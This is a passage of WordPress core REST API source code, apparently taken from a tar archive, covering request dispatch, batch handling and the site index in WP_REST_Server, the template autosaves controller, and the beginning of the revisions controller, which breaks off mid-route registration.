		$response = $this->respond_to_request( $request, $route, $handler, $error );
		array_pop( $this->dispatching_requests );
		return $response;
	}

	/**
	 * Returns whether the REST server is currently dispatching / responding to a request.
	 *
	 * This may be a standalone REST API request, or an internal request dispatched from within a regular page load.
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the REST server is currently handling a request.
	 */
	public function is_dispatching() {
		return (bool) $this->dispatching_requests;
	}

	/**
	 * Matches a request object to its handler.
	 *
	 * @access private
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return array|WP_Error The route and request handler on success or a WP_Error instance if no handler was found.
	 */
	protected function match_request_to_handler( $request ) {
		$method = $request->get_method();
		$path   = $request->get_route();

		$with_namespace = array();

		foreach ( $this->get_namespaces() as $namespace ) {
			if ( str_starts_with( trailingslashit( ltrim( $path, '/' ) ), $namespace ) ) {
				$with_namespace[] = $this->get_routes( $namespace );
			}
		}

		if ( $with_namespace ) {
			$routes = array_merge( ...$with_namespace );
		} else {
			$routes = $this->get_routes();
		}

		foreach ( $routes as $route => $handlers ) {
			$match = preg_match( '@^' . $route . '$@i', $path, $matches );

			if ( ! $match ) {
				continue;
			}

			$args = array();

			foreach ( $matches as $param => $value ) {
				if ( ! is_int( $param ) ) {
					$args[ $param ] = $value;
				}
			}

			foreach ( $handlers as $handler ) {
				$callback = $handler['callback'];

				// Fallback to GET method if no HEAD method is registered.
				$checked_method = $method;
				if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) {
					$checked_method = 'GET';
				}
				if ( empty( $handler['methods'][ $checked_method ] ) ) {
					continue;
				}

				if ( ! is_callable( $callback ) ) {
					return array( $route, $handler );
				}

				$request->set_url_params( $args );
				$request->set_attributes( $handler );

				$defaults = array();

				foreach ( $handler['args'] as $arg => $options ) {
					if ( isset( $options['default'] ) ) {
						$defaults[ $arg ] = $options['default'];
					}
				}

				$request->set_default_params( $defaults );

				return array( $route, $handler );
			}
		}

		return new WP_Error(
			'rest_no_route',
			__( 'No route was found matching the URL and request method.' ),
			array( 'status' => 404 )
		);
	}

	/**
	 * Dispatches the request to the callback handler.
	 *
	 * @access private
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request  The request object.
	 * @param string          $route    The matched route regex.
	 * @param array           $handler  The matched route handler.
	 * @param WP_Error|null   $response The current error object if any.
	 * @return WP_REST_Response
	 */
	protected function respond_to_request( $request, $route, $handler, $response ) {
		/**
		 * Filters the response before executing any REST API callbacks.
		 *
		 * Allows plugins to perform additional validation after a
		 * request is initialized and matched to a registered route,
		 * but before it is executed.
		 *
		 * Note that this filter will not be called for requests that
		 * fail to authenticate or match to a registered route.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response|WP_HTTP_Response|WP_Error|mixed $response Result to send to the client.
		 *                                                                   Usually a WP_REST_Response or WP_Error.
		 * @param array                                            $handler  Route handler used for the request.
		 * @param WP_REST_Request                                  $request  Request used to generate the response.
		 */
		$response = apply_filters( 'rest_request_before_callbacks', $response, $handler, $request );

		// Check permission specified on the route.
		if ( ! is_wp_error( $response ) && ! empty( $handler['permission_callback'] ) ) {
			$permission = call_user_func( $handler['permission_callback'], $request );

			if ( is_wp_error( $permission ) ) {
				$response = $permission;
			} elseif ( false === $permission || null === $permission ) {
				$response = new WP_Error(
					'rest_forbidden',
					__( 'Sorry, you are not allowed to do that.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		if ( ! is_wp_error( $response ) ) {
			/**
			 * Filters the REST API dispatch request result.
			 *
			 * Allow plugins to override dispatching the request.
			 *
			 * @since 4.4.0
			 * @since 4.5.0 Added `$route` and `$handler` parameters.
			 *
			 * @param mixed           $dispatch_result Dispatch result, will be used if not empty.
			 * @param WP_REST_Request $request         Request used to generate the response.
			 * @param string          $route           Route matched for the request.
			 * @param array           $handler         Route handler used for the request.
			 */
			$dispatch_result = apply_filters( 'rest_dispatch_request', null, $request, $route, $handler );

			// Allow plugins to halt the request via this filter.
			if ( null !== $dispatch_result ) {
				$response = $dispatch_result;
			} else {
				$response = call_user_func( $handler['callback'], $request );
			}
		}

		/**
		 * Filters the response immediately after executing any REST API
		 * callbacks.
		 *
		 * Allows plugins to perform any needed cleanup, for example,
		 * to undo changes made during the {@see 'rest_request_before_callbacks'}
		 * filter.
		 *
		 * Note that this filter will not be called for requests that
		 * fail to authenticate or match to a registered route.
		 *
		 * Note that an endpoint's `permission_callback` can still be
		 * called after this filter - see `rest_send_allow_header()`.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response|WP_HTTP_Response|WP_Error|mixed $response Result to send to the client.
		 *                                                                   Usually a WP_REST_Response or WP_Error.
		 * @param array                                            $handler  Route handler used for the request.
		 * @param WP_REST_Request                                  $request  Request used to generate the response.
		 */
		$response = apply_filters( 'rest_request_after_callbacks', $response, $handler, $request );

		if ( is_wp_error( $response ) ) {
			$response = $this->error_to_response( $response );
		} else {
			$response = rest_ensure_response( $response );
		}

		$response->set_matched_route( $route );
		$response->set_matched_handler( $handler );

		return $response;
	}

	/**
	 * Returns if an error occurred during most recent JSON encode/decode.
	 *
	 * Strings to be translated will be in format like
	 * "Encoding error: Maximum stack depth exceeded".
	 *
	 * @since 4.4.0
	 *
	 * @return false|string Boolean false or string error message.
	 */
	protected function get_json_last_error() {
		if ( JSON_ERROR_NONE === json_last_error() ) {
			return false;
		}

		return json_last_error_msg();
	}

	/**
	 * Retrieves the site index.
	 *
	 * This endpoint describes the capabilities of the site.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request Request data.
	 * @return WP_REST_Response The API root index data.
	 */
	public function get_index( $request ) {
		// General site data.
		$available = array(
			'name'            => get_option( 'blogname' ),
			'description'     => get_option( 'blogdescription' ),
			'url'             => get_option( 'siteurl' ),
			'home'            => home_url(),
			'gmt_offset'      => get_option( 'gmt_offset' ),
			'timezone_string' => get_option( 'timezone_string' ),
			'page_for_posts'  => (int) get_option( 'page_for_posts' ),
			'page_on_front'   => (int) get_option( 'page_on_front' ),
			'show_on_front'   => get_option( 'show_on_front' ),
			'namespaces'      => array_keys( $this->namespaces ),
			'authentication'  => array(),
			'routes'          => $this->get_data_for_routes( $this->get_routes(), $request['context'] ),
		);

		$response = new WP_REST_Response( $available );

		$fields = isset( $request['_fields'] ) ? $request['_fields'] : '';
		$fields = wp_parse_list( $fields );
		if ( empty( $fields ) ) {
			$fields[] = '_links';
		}

		if ( $request->has_param( '_embed' ) ) {
			$fields[] = '_embedded';
		}

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_link( 'help', 'https://developer.wordpress.org/rest-api/' );
			$this->add_active_theme_link_to_index( $response );
			$this->add_site_logo_to_index( $response );
			$this->add_site_icon_to_index( $response );
		} else {
			if ( rest_is_field_included( 'site_logo', $fields ) ) {
				$this->add_site_logo_to_index( $response );
			}
			if ( rest_is_field_included( 'site_icon', $fields ) || rest_is_field_included( 'site_icon_url', $fields ) ) {
				$this->add_site_icon_to_index( $response );
			}
		}

		/**
		 * Filters the REST API root index data.
		 *
		 * This contains the data describing the API. This includes information
		 * about supported authentication schemes, supported namespaces, routes
		 * available on the API, and a small amount of data about the site.
		 *
		 * @since 4.4.0
		 * @since 6.0.0 Added `$request` parameter.
		 *
		 * @param WP_REST_Response $response Response data.
		 * @param WP_REST_Request  $request  Request data.
		 */
		return apply_filters( 'rest_index', $response, $request );
	}

	/**
	 * Adds a link to the active theme for users who have proper permissions.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_active_theme_link_to_index( WP_REST_Response $response ) {
		$should_add = current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' );

		if ( ! $should_add && current_user_can( 'edit_posts' ) ) {
			$should_add = true;
		}

		if ( ! $should_add ) {
			foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
				if ( current_user_can( $post_type->cap->edit_posts ) ) {
					$should_add = true;
					break;
				}
			}
		}

		if ( $should_add ) {
			$theme = wp_get_theme();
			$response->add_link( 'https://api.w.org/active-theme', rest_url( 'wp/v2/themes/' . $theme->get_stylesheet() ) );
		}
	}

	/**
	 * Exposes the site logo through the WordPress REST API.
	 *
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_site_logo_to_index( WP_REST_Response $response ) {
		$site_logo_id = get_theme_mod( 'custom_logo', 0 );

		$this->add_image_to_index( $response, $site_logo_id, 'site_logo' );
	}

	/**
	 * Exposes the site icon through the WordPress REST API.
	 *
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_site_icon_to_index( WP_REST_Response $response ) {
		$site_icon_id = get_option( 'site_icon', 0 );

		$this->add_image_to_index( $response, $site_icon_id, 'site_icon' );

		$response->data['site_icon_url'] = get_site_icon_url();
	}

	/**
	 * Exposes an image through the WordPress REST API.
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 * @param int              $image_id Image attachment ID.
	 * @param string           $type     Type of Image.
	 */
	protected function add_image_to_index( WP_REST_Response $response, $image_id, $type ) {
		$response->data[ $type ] = (int) $image_id;
		if ( $image_id ) {
			$response->add_link(
				'https://api.w.org/featuredmedia',
				rest_url( rest_get_route_for_post( $image_id ) ),
				array(
					'embeddable' => true,
					'type'       => $type,
				)
			);
		}
	}

	/**
	 * Retrieves the index for a namespace.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request REST request instance.
	 * @return WP_REST_Response|WP_Error WP_REST_Response instance if the index was found,
	 *                                   WP_Error if the namespace isn't set.
	 */
	public function get_namespace_index( $request ) {
		$namespace = $request['namespace'];

		if ( ! isset( $this->namespaces[ $namespace ] ) ) {
			return new WP_Error(
				'rest_invalid_namespace',
				__( 'The specified namespace could not be found.' ),
				array( 'status' => 404 )
			);
		}

		$routes    = $this->namespaces[ $namespace ];
		$endpoints = array_intersect_key( $this->get_routes(), $routes );

		$data     = array(
			'namespace' => $namespace,
			'routes'    => $this->get_data_for_routes( $endpoints, $request['context'] ),
		);
		$response = rest_ensure_response( $data );

		// Link to the root index.
		$response->add_link( 'up', rest_url( '/' ) );

		/**
		 * Filters the REST API namespace index data.
		 *
		 * This typically is just the route data for the namespace, but you can
		 * add any data you'd like here.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_REST_Response $response Response data.
		 * @param WP_REST_Request  $request  Request data. The namespace is passed as the 'namespace' parameter.
		 */
		return apply_filters( 'rest_namespace_index', $response, $request );
	}

	/**
	 * Retrieves the publicly-visible data for routes.
	 *
	 * @since 4.4.0
	 *
	 * @param array  $routes  Routes to get data for.
	 * @param string $context Optional. Context for data. Accepts 'view' or 'help'. Default 'view'.
	 * @return array[] Route data to expose in indexes, keyed by route.
	 */
	public function get_data_for_routes( $routes, $context = 'view' ) {
		$available = array();

		// Find the available routes.
		foreach ( $routes as $route => $callbacks ) {
			$data = $this->get_data_for_route( $route, $callbacks, $context );
			if ( empty( $data ) ) {
				continue;
			}

			/**
			 * Filters the publicly-visible data for a single REST API route.
			 *
			 * @since 4.4.0
			 *
			 * @param array $data Publicly-visible data for the route.
			 */
			$available[ $route ] = apply_filters( 'rest_endpoints_description', $data );
		}

		/**
		 * Filters the publicly-visible data for REST API routes.
		 *
		 * This data is exposed on indexes and can be used by clients or
		 * developers to investigate the site and find out how to use it. It
		 * acts as a form of self-documentation.
		 *
		 * @since 4.4.0
		 *
		 * @param array[] $available Route data to expose in indexes, keyed by route.
		 * @param array   $routes    Internal route data as an associative array.
		 */
		return apply_filters( 'rest_route_data', $available, $routes );
	}

	/**
	 * Retrieves publicly-visible data for the route.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route     Route to get data for.
	 * @param array  $callbacks Callbacks to convert to data.
	 * @param string $context   Optional. Context for the data. Accepts 'view' or 'help'. Default 'view'.
	 * @return array|null Data for the route, or null if no publicly-visible data.
	 */
	public function get_data_for_route( $route, $callbacks, $context = 'view' ) {
		$data = array(
			'namespace' => '',
			'methods'   => array(),
			'endpoints' => array(),
		);

		$allow_batch = false;

		if ( isset( $this->route_options[ $route ] ) ) {
			$options = $this->route_options[ $route ];

			if ( isset( $options['namespace'] ) ) {
				$data['namespace'] = $options['namespace'];
			}

			$allow_batch = isset( $options['allow_batch'] ) ? $options['allow_batch'] : false;

			if ( isset( $options['schema'] ) && 'help' === $context ) {
				$data['schema'] = call_user_func( $options['schema'] );
			}
		}

		$allowed_schema_keywords = array_flip( rest_get_allowed_schema_keywords() );

		$route = preg_replace( '#\(\?P<(\w+?)>.*?\)#', '{$1}', $route );

		foreach ( $callbacks as $callback ) {
			// Skip to the next route if any callback is hidden.
			if ( empty( $callback['show_in_index'] ) ) {
				continue;
			}

			$data['methods'] = array_merge( $data['methods'], array_keys( $callback['methods'] ) );
			$endpoint_data   = array(
				'methods' => array_keys( $callback['methods'] ),
			);

			$callback_batch = isset( $callback['allow_batch'] ) ? $callback['allow_batch'] : $allow_batch;

			if ( $callback_batch ) {
				$endpoint_data['allow_batch'] = $callback_batch;
			}

			if ( isset( $callback['args'] ) ) {
				$endpoint_data['args'] = array();

				foreach ( $callback['args'] as $key => $opts ) {
					if ( is_string( $opts ) ) {
						$opts = array( $opts => 0 );
					} elseif ( ! is_array( $opts ) ) {
						$opts = array();
					}
					$arg_data             = array_intersect_key( $opts, $allowed_schema_keywords );
					$arg_data['required'] = ! empty( $opts['required'] );

					$endpoint_data['args'][ $key ] = $arg_data;
				}
			}

			$data['endpoints'][] = $endpoint_data;

			// For non-variable routes, generate links.
			if ( ! str_contains( $route, '{' ) ) {
				$data['_links'] = array(
					'self' => array(
						array(
							'href' => rest_url( $route ),
						),
					),
				);
			}
		}

		if ( empty( $data['methods'] ) ) {
			// No methods supported, hide the route.
			return null;
		}

		return $data;
	}

	/**
	 * Gets the maximum number of requests that can be included in a batch.
	 *
	 * @since 5.6.0
	 *
	 * @return int The maximum requests.
	 */
	protected function get_max_batch_size() {
		/**
		 * Filters the maximum number of REST API requests that can be included in a batch.
		 *
		 * @since 5.6.0
		 *
		 * @param int $max_size The maximum size.
		 */
		return apply_filters( 'rest_get_max_batch_size', 25 );
	}

	/**
	 * Serves the batch/v1 request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $batch_request The batch request object.
	 * @return WP_REST_Response The generated response object.
	 */
	public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
		$requests = array();

		foreach ( $batch_request['requests'] as $args ) {
			$parsed_url = wp_parse_url( $args['path'] );

			if ( false === $parsed_url ) {
				$requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) );

				continue;
			}

			$single_request = new WP_REST_Request( isset( $args['method'] ) ? $args['method'] : 'POST', $parsed_url['path'] );

			if ( ! empty( $parsed_url['query'] ) ) {
				$query_args = array();
				wp_parse_str( $parsed_url['query'], $query_args );
				$single_request->set_query_params( $query_args );
			}

			if ( ! empty( $args['body'] ) ) {
				$single_request->set_body_params( $args['body'] );
			}

			if ( ! empty( $args['headers'] ) ) {
				$single_request->set_headers( $args['headers'] );
			}

			$requests[] = $single_request;
		}

		$matches    = array();
		$validation = array();
		$has_error  = false;

		foreach ( $requests as $single_request ) {
			if ( is_wp_error( $single_request ) ) {
				$has_error    = true;
				$validation[] = $single_request;
				continue;
			}

			$match     = $this->match_request_to_handler( $single_request );
			$matches[] = $match;
			$error     = null;

			if ( is_wp_error( $match ) ) {
				$error = $match;
			}

			if ( ! $error ) {
				list( $route, $handler ) = $match;

				if ( isset( $handler['allow_batch'] ) ) {
					$allow_batch = $handler['allow_batch'];
				} else {
					$route_options = $this->get_route_options( $route );
					$allow_batch   = isset( $route_options['allow_batch'] ) ? $route_options['allow_batch'] : false;
				}

				if ( ! is_array( $allow_batch ) || empty( $allow_batch['v1'] ) ) {
					$error = new WP_Error(
						'rest_batch_not_allowed',
						__( 'The requested route does not support batch requests.' ),
						array( 'status' => 400 )
					);
				}
			}

			if ( ! $error ) {
				$check_required = $single_request->has_valid_params();
				if ( is_wp_error( $check_required ) ) {
					$error = $check_required;
				}
			}

			if ( ! $error ) {
				$check_sanitized = $single_request->sanitize_params();
				if ( is_wp_error( $check_sanitized ) ) {
					$error = $check_sanitized;
				}
			}

			if ( $error ) {
				$has_error    = true;
				$validation[] = $error;
			} else {
				$validation[] = true;
			}
		}

		$responses = array();

		if ( $has_error && 'require-all-validate' === $batch_request['validation'] ) {
			foreach ( $validation as $valid ) {
				if ( is_wp_error( $valid ) ) {
					$responses[] = $this->envelope_response( $this->error_to_response( $valid ), false )->get_data();
				} else {
					$responses[] = null;
				}
			}

			return new WP_REST_Response(
				array(
					'failed'    => 'validation',
					'responses' => $responses,
				),
				WP_Http::MULTI_STATUS
			);
		}

		foreach ( $requests as $i => $single_request ) {
			if ( is_wp_error( $single_request ) ) {
				$result      = $this->error_to_response( $single_request );
				$responses[] = $this->envelope_response( $result, false )->get_data();
				continue;
			}

			$clean_request = clone $single_request;
			$clean_request->set_url_params( array() );
			$clean_request->set_attributes( array() );
			$clean_request->set_default_params( array() );

			/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
			$result = apply_filters( 'rest_pre_dispatch', null, $this, $clean_request );

			if ( empty( $result ) ) {
				$match = $matches[ $i ];
				$error = null;

				if ( is_wp_error( $validation[ $i ] ) ) {
					$error = $validation[ $i ];
				}

				if ( is_wp_error( $match ) ) {
					$result = $this->error_to_response( $match );
				} else {
					list( $route, $handler ) = $match;

					if ( ! $error && ! is_callable( $handler['callback'] ) ) {
						$error = new WP_Error(
							'rest_invalid_handler',
							__( 'The handler for the route is invalid' ),
							array( 'status' => 500 )
						);
					}

					$result = $this->respond_to_request( $single_request, $route, $handler, $error );
				}
			}

			/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
			$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $single_request );

			$responses[] = $this->envelope_response( $result, false )->get_data();
		}

		return new WP_REST_Response( array( 'responses' => $responses ), WP_Http::MULTI_STATUS );
	}

	/**
	 * Sends an HTTP status code.
	 *
	 * @since 4.4.0
	 *
	 * @param int $code HTTP status.
	 */
	protected function set_status( $code ) {
		status_header( $code );
	}

	/**
	 * Sends an HTTP header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header key.
	 * @param string $value Header value.
	 */
	public function send_header( $key, $value ) {
		/*
		 * Sanitize as per RFC2616 (Section 4.2):
		 *
		 * Any LWS that occurs between field-content MAY be replaced with a
		 * single SP before interpreting the field value or forwarding the
		 * message downstream.
		 */
		$value = preg_replace( '/\s+/', ' ', $value );
		header( sprintf( '%s: %s', $key, $value ) );
	}

	/**
	 * Sends multiple HTTP headers.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers Map of header name to header value.
	 */
	public function send_headers( $headers ) {
		foreach ( $headers as $key => $value ) {
			$this->send_header( $key, $value );
		}
	}

	/**
	 * Removes an HTTP header from the current response.
	 *
	 * @since 4.8.0
	 *
	 * @param string $key Header key.
	 */
	public function remove_header( $key ) {
		header_remove( $key );
	}

	/**
	 * Retrieves the raw request entity (body).
	 *
	 * @since 4.4.0
	 *
	 * @global string $HTTP_RAW_POST_DATA Raw post data.
	 *
	 * @return string Raw request data.
	 */
	public static function get_raw_data() {
		// phpcs:disable PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
		global $HTTP_RAW_POST_DATA;

		// $HTTP_RAW_POST_DATA was deprecated in PHP 5.6 and removed in PHP 7.0.
		if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
			$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
		}

		return $HTTP_RAW_POST_DATA;
		// phpcs:enable
	}

	/**
	 * Extracts headers from a PHP-style $_SERVER array.
	 *
	 * @since 4.4.0
	 *
	 * @param array $server Associative array similar to `$_SERVER`.
	 * @return array Headers extracted from the input.
	 */
	public function get_headers( $server ) {
		$headers = array();

		// CONTENT_* headers are not prefixed with HTTP_.
		$additional = array(
			'CONTENT_LENGTH' => true,
			'CONTENT_MD5'    => true,
			'CONTENT_TYPE'   => true,
		);

		foreach ( $server as $key => $value ) {
			if ( str_starts_with( $key, 'HTTP_' ) ) {
				$headers[ substr( $key, 5 ) ] = $value;
			} elseif ( 'REDIRECT_HTTP_AUTHORIZATION' === $key && empty( $server['HTTP_AUTHORIZATION'] ) ) {
				/*
				 * In some server configurations, the authorization header is passed in this alternate location.
				 * Since it would not be passed in in both places we do not check for both headers and resolve.
				 */
				$headers['AUTHORIZATION'] = $value;
			} elseif ( isset( $additional[ $key ] ) ) {
				$headers[ $key ] = $value;
			}
		}

		return $headers;
	}
}
endpoints/class-wp-rest-template-autosaves-controller.php000066600000017221152442706000017775 0ustar00<?php
/**
 * REST API: WP_REST_Template_Autosaves_Controller class.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.4.0
 */

/**
 * Core class used to access template autosaves via the REST API.
 *
 * @since 6.4.0
 *
 * @see WP_REST_Autosaves_Controller
 */
class WP_REST_Template_Autosaves_Controller extends WP_REST_Autosaves_Controller {
	/**
	 * Parent post type.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent post controller.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * Revision controller.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Revisions_Controller
	 */
	private $revisions_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 6.4.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 6.4.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		parent::__construct( $parent_post_type );
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Templates_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;

		$revisions_controller = $post_type_object->get_revisions_rest_controller();
		if ( ! $revisions_controller ) {
			$revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type );
		}
		$this->revisions_controller = $revisions_controller;
		$this->rest_base            = 'autosaves';
		$this->parent_base          = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace            = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the routes for autosaves.
	 *
	 * @since 6.4.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<id>%s%s)/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base
			),
			array(
				'args'   => array(
					'id' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/(?P<parent>%s%s)/%s/%s',
				$this->parent_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+',
				$this->rest_base,
				'(?P<id>[\d]+)'
			),
			array(
				'args'   => array(
					'parent' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
					),
					'id'     => array(
						'description' => __( 'The ID for the autosave.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$template = _build_block_template_result_from_post( $item );
		$response = $this->parent_controller->prepare_item_for_response( $template, $request );

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			return $response;
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = $response->get_data();

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $item->post_parent;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = new WP_REST_Response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $template );
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Gets the autosave, if the ID is valid.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Post|WP_Error Autosave post object if ID is valid, WP_Error otherwise.
	 */
	public function get_item( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$autosave = wp_get_post_autosave( $parent->ID );

		if ( ! $autosave ) {
			return new WP_Error(
				'rest_post_no_autosave',
				__( 'There is no autosave revision for this template.' ),
				array( 'status' => 404 )
			);
		}

		$response = $this->prepare_item_for_response( $autosave, $request );
		return $response;
	}

	/**
	 * Get the parent post.
	 *
	 * @since 6.4.0
	 *
	 * @param int $parent_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_id ) {
		return $this->revisions_controller->get_parent( $parent_id );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_Block_Template $template Template.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $template ) {
		$links = array(
			'self'   => array(
				'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ),
			),
			'parent' => array(
				'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ),
			),
		);

		return $links;
	}

	/**
	 * Retrieves the autosave's schema, conforming to JSON Schema.
	 *
	 * @since 6.4.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = $this->revisions_controller->get_item_schema();

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-revisions-controller.php000066600000064253152442706000016202 0ustar00<?php
/**
 * REST API: WP_REST_Revisions_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to access revisions via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Revisions_Controller extends WP_REST_Controller {

	/**
	 * Parent post type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Instance of a revision meta fields object.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Post_Meta_Fields
	 */
	protected $meta;

	/**
	 * Parent controller.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Posts_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;
		$this->rest_base         = 'revisions';
		$this->parent_base       = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace         = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
		$this->meta              = new WP_REST_Post_Meta_Fields( $parent_post_type );
	}

	/**
	 * Registers the routes for revisions based on post types supporting revisions.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
